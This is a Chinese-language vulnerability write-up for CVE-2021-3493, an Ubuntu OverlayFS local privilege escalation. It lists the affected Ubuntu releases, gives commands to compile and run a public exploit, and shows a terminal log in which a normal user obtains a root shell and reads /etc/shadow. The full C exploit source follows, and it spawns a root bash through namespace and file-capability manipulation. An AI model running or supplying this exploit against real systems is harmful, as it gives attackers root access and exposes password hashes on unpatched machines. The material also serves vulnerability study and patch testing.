

Linux kernel权限提升漏洞 CVE-2021-3493

[漏洞描述](#)

[漏洞影响](#)

[漏洞复现](#)

[漏洞POC](#)

漏洞描述

Ubuntu OverlayFS Local Privesc

CVE-2021-3493 EXP在Github被公开，可以通过EXP在Ubuntu多个影响系统中提升 ROOT权限

漏洞影响

```
1 Ubuntu 20.10
2 Ubuntu 20.04 LTS
3 Ubuntu 18.04 LTS
4 Ubuntu 16.04 LTS
5 Ubuntu 14.04 ESM
```

漏洞复现

漏洞Github地址为：

<https://github.com/briskets/CVE-2021-3493>

环境使用腾讯云的Ubuntu镜像即可

```
1 gcc exploit.c -o exploit
2 chmod +x exploit
3 ./exploit
```

下载并编译脚本

```
Cmder
ubuntu@VM-0-16-ubuntu:/tmp/CVE-2021-3493$ ls -all
total 44
drwxr-xr-x  4 root root  4096 Apr 21 17:18 .
drwxrwxrwt 12 root root  4096 Apr 21 17:18 ..
-rwxr-xr-x  1 root root 17848 Apr 21 17:18 exploit
-rw-r--r--  1 root root  3560 Apr 21 17:17 exploit.c
drwxr-xr-x  8 root root  4096 Apr 21 17:17 .git
drwxrwxr-x  6 root root  4096 Apr 21 17:18 ovlcap
-rw-r--r--  1 root root  1127 Apr 21 17:17 README.md
ubuntu@VM-0-16-ubuntu:/tmp/CVE-2021-3493$ |
```

运行EXP成功提权 Root

```
ubuntu@VM-0-16-ubuntu:/tmp/CVE-2021-3493$ ls
exploit exploit.c ovlcap README.md
ubuntu@VM-0-16-ubuntu:/tmp/CVE-2021-3493$ whoami
ubuntu
ubuntu@VM-0-16-ubuntu:/tmp/CVE-2021-3493$ ./exploit
rm: cannot remove './ovlcap/lower': Permission denied
rm: cannot remove './ovlcap/work/work': Permission denied
rm: cannot remove './ovlcap/upper/magic': Permission denied
rm: cannot remove './ovlcap/merge': Permission denied
exploit: open ./ovlcap/merge/magic: Read-only file system
bash-5.0# whoami
root
bash-5.0# cat /etc/shadow
root:!:18444:0:99999:7:::
daemon*:18375:0:99999:7:::
bin*:18375:0:99999:7:::
sys*:18375:0:99999:7:::
sync*:18375:0:99999:7:::
games*:18375:0:99999:7:::
man*:18375:0:99999:7:::
lp*:18375:0:99999:7:::
mail*:18375:0:99999:7:::
news*:18375:0:99999:7:::
uucp*:18375:0:99999:7:::
proxy*:18375:0:99999:7:::
www-data*:18375:0:99999:7:::
backup*:18375:0:99999:7:::
list*:18375:0:99999:7:::
irc*:18375:0:99999:7:::
gnats*:18375:0:99999:7:::
nobody*:18375:0:99999:7:::
systemd-network*:18375:0:99999:7:::
systemd-resolve*:18375:0:99999:7:::
systemd-timesync*:18375:0:99999:7:::
messagebus*:18375:0:99999:7:::
syslog*:18375:0:99999:7:::
_apt*:18375:0:99999:7:::
tss*:18375:0:99999:7:::
uuid*:18375:0:99999:7:::
```

IP 81.68.139.186 2021-04-21 17:18:00

运行 40 天

负载 0.20, 0.23, 0.17

CPU 13%

内存 80% 1.1G/1.8G

交换 0% 0/0

5.8M	0.3	sshd
2.9M	0	systemd
0	0	kthreadd
0	0	kworker/0:0H

5K 2K eth0

5K

5K

3K

73ms

612

325.5

39

路径	可用/大小
/dev	908M/908M
/dev/shm	918M/918M
/run	918M/918M
/sys/fs/cgroup	918M/918M
/	39G/49.1G
/run/user/0	183M/183M
/var/lib/docker/overlay2/...	39G/49.1G
/var/lib/docker/container/...	64M/64M

漏洞POC

```

1 #define _GNU_SOURCE
2 #include <stdio.h>
3 #include <stdlib.h>
4 #include <string.h>
5 #include <unistd.h>
6 #include <fcntl.h>
7 #include <err.h>
8 #include <errno.h>
9 #include <sched.h>
10 #include <sys/types.h>
11 #include <sys/stat.h>
12 #include <sys/wait.h>
13 #include <sys/mount.h>
14
15 // #include <attr/xattr.h>
16 // #include <sys/xattr.h>
17 int setxattr(const char *path, const char *name, const void *value,
18             size_t size, int flags);
19
20 #define DIR_BASE      "./ovlcap"
21 #define DIR_WORK      DIR_BASE "/work"
22 #define DIR_LOWER     DIR_BASE "/lower"
23 #define DIR_UPPER     DIR_BASE "/upper"
24 #define DIR_MERGE     DIR_BASE "/merge"
25 #define BIN_MERGE     DIR_MERGE "/magic"
26 #define BIN_UPPER     DIR_UPPER "/magic"
27
28
29 static void xmkdir(const char *path, mode_t mode)
30 {
31     if (mkdir(path, mode) == -1 && errno != EEXIST)
32         err(1, "mkdir %s", path);
33 }
34
35 static void xwritefile(const char *path, const char *data)
36 {
37     int fd = open(path, O_WRONLY);
38     if (fd == -1)

```

```

39     err(1, "open %s", path);
40     ssize_t len = (ssize_t) strlen(data);
41     if (write(fd, data, len) != len)
42         err(1, "write %s", path);
43     close(fd);
44 }
45
46 static void xcopyfile(const char *src, const char *dst, mode_t mode)
47 {
48     int fi, fo;
49
50     if ((fi = open(src, O_RDONLY)) == -1)
51         err(1, "open %s", src);
52     if ((fo = open(dst, O_WRONLY | O_CREAT, mode)) == -1)
53         err(1, "open %s", dst);
54
55     char buf[4096];
56     ssize_t rd, wr;
57
58     for (;;) {
59         rd = read(fi, buf, sizeof(buf));
60         if (rd == 0) {
61             break;
62         } else if (rd == -1) {
63             if (errno == EINTR)
64                 continue;
65             err(1, "read %s", src);
66         }
67
68         char *p = buf;
69         while (rd > 0) {
70             wr = write(fo, p, rd);
71             if (wr == -1) {
72                 if (errno == EINTR)
73                     continue;
74                 err(1, "write %s", dst);
75             }
76             p += wr;
77             rd -= wr;

```

```

78     }
79 }
80
81     close(fi);
82     close(fo);
83 }
84
85 static int exploit()
86 {
87     char buf[4096];
88
89     sprintf(buf, "rm -rf '%s/'", DIR_BASE);
90     system(buf);
91
92     mkdir(DIR_BASE, 0777);
93     mkdir(DIR_WORK, 0777);
94     mkdir(DIR_LOWER, 0777);
95     mkdir(DIR_UPPER, 0777);
96     mkdir(DIR_MERGE, 0777);
97
98     uid_t uid = getuid();
99     gid_t gid = getgid();
100
101     if (unshare(CLONE_NEWNS | CLONE_NEWUSER) == -1)
102         err(1, "unshare");
103
104     xwritefile("/proc/self/setgroups", "deny");
105
106     sprintf(buf, "0 %d 1", uid);
107     xwritefile("/proc/self/uid_map", buf);
108
109     sprintf(buf, "0 %d 1", gid);
110     xwritefile("/proc/self/gid_map", buf);
111
112     sprintf(buf, "lowerdir=%s,upperdir=%s,workdir=%s", DIR_LOWER, DIR_UPPER, DIR_WORK);
113     if (mount("overlay", DIR_MERGE, "overlay", 0, buf) == -1)
114         err(1, "mount %s", DIR_MERGE);
115
116     // all+ep

```

```

117     char cap[] = "\x01\x00\x00\x02\xff\xff\xff\xff\x00\x00\x00\x
00\xff\xff\xff\xff\x00\x00\x00\x00";
118
119     xcopyfile("/proc/self/exe", BIN_MERGE, 0777);
120     if (setxattr(BIN_MERGE, "security.capability", cap, sizeof(c
ap) - 1, 0) == -1)
121         err(1, "setxattr %s", BIN_MERGE);
122
123     return 0;
124 }
125
126 int main(int argc, char *argv[])
127 {
128     if (strstr(argv[0], "magic") || (argc > 1 && !strcmp(argv
[1], "shell"))) {
129         setuid(0);
130         setgid(0);
131         execl("/bin/bash", "/bin/bash", "--norc", "--noprofile",
"-i", NULL);
132         err(1, "execl /bin/bash");
133     }
134
135     pid_t child = fork();
136     if (child == -1)
137         err(1, "fork");
138
139     if (child == 0) {
140         _exit(exploit());
141     } else {
142         waitpid(child, NULL, 0);
143     }
144
145     execl(BIN_UPPER, BIN_UPPER, "shell", NULL);
146     err(1, "execl %s", BIN_UPPER);
147 }

```